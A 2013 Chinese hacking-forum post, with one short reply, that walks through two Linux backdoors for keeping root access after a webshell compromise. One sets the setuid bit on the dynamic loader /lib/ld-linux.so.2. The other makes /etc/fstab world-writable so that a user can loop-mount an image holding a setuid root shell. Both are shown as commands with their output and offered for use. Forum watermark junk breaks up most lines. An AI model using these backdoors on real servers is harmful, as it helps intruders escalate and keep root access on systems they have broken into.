找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2788|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究0 m4 a7 X  v2 s+ |  k0 i% @
7 d/ N9 x8 T6 k0 f# S
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究4 `& r- K* @6 r5 X& b: f; U# I
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究1 M" q( v5 d6 w- F- A
lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
  D9 ]1 ]/ X2 V" h" C[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究( v3 K4 J) |5 Q2 k! D: M% k
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
( G  Y$ r% E- t3 {7 D-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
; D9 W8 a9 {. ^- C# e0 h: ilrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究8 t+ `( F: ^, I5 W
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究( t7 V' X5 c& F' g7 [8 d2 d+ k
我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究. b5 z: f# S! W2 W
7 B  ^- `9 L5 ^& _) C
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究; s! v; |8 ~* J. i; {: H9 @

! `6 v. _, B( P( u* n5 `[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究: t7 X% ]' L( D; _- S& O
xiaoyu2ezX-BUG-关注前沿信息安全技术研究7 R3 t1 w2 S6 _0 S0 r% ?- i
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
: A3 a. X" K( K  \2 ^/ yroot2ezX-BUG-关注前沿信息安全技术研究( _; H$ K9 f9 X3 ], r) N
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究5 N5 P' Z  i3 y: I7 G  x% ~  h
恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究4 J) n3 k- _7 S3 Z
3 w9 v- q2 y2 _1 O4 l  @& \5 C- Z
方法二:2ezX-BUG-关注前沿信息安全技术研究
4 D2 |' b5 \% f7 V  G  g: {$ p+ ~+ w. K, @( H* l& i7 i( n
看过程:2ezX-BUG-关注前沿信息安全技术研究9 R# l5 ?' z/ G' C0 K3 a5 F
0 f5 p& i/ ?, J
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
( u9 r) `, Y$ G% b' e# U[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究
# ]8 l! }2 B: |- `' f" c) i; x5 @6 O6 G0 [' v/ @& m4 _; b3 e
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究1 {: u+ {( R! g" c

3 K. r/ e" b  ^! q+ x[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
3 C1 o% y% X5 F1 t+ w2 p-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究8 H% m2 A  Y/ Q- n# b" Q; D* g; K
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究6 o+ J) O" c3 S: j; j% w
. Z3 K& M; w8 s; K) F1 Y" t
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
/ b  q& j* c' y& V# ~0 j1 ]+ \
/ e+ Y$ H( X# Y[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究6 k& ^2 m  H* N0 _* Q
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究; |3 ~% c% y% l9 Y' [" u! d( {
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究6 {; g5 M* z7 G7 I& D- `: V/ T# f. a
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究0 ~9 |' o; b6 I: ^' m9 R
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究0 p& n/ B$ {7 ]/ d8 i. E
total 182ezX-BUG-关注前沿信息安全技术研究
+ A9 V% }) z* p  [/ f+ @  pdrwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究" f/ u. P/ J: S2 j( K) g7 Q8 B1 u7 {& q
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究/ A6 X9 h* p. o7 T$ ~; g, Y
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
  P: j$ e6 G  f. s9 ~sh-3.2#2ezX-BUG-关注前沿信息安全技术研究9 d* @1 l& q0 D+ v: @; J0 h
看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究% h9 N3 {- I+ b
test这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究( v, p" P& p& F7 T& j' G! H

" F" _) k: G* G' J: L. j% _貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究& t( n! s) R" d; v6 A$ q% B0 a" O
2ezX-BUG-关注前沿信息安全技术研究
8 }: B$ @; u1 R, J; }* U( n% C  r8 j% _# n1 w8 ^1 Q. }
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表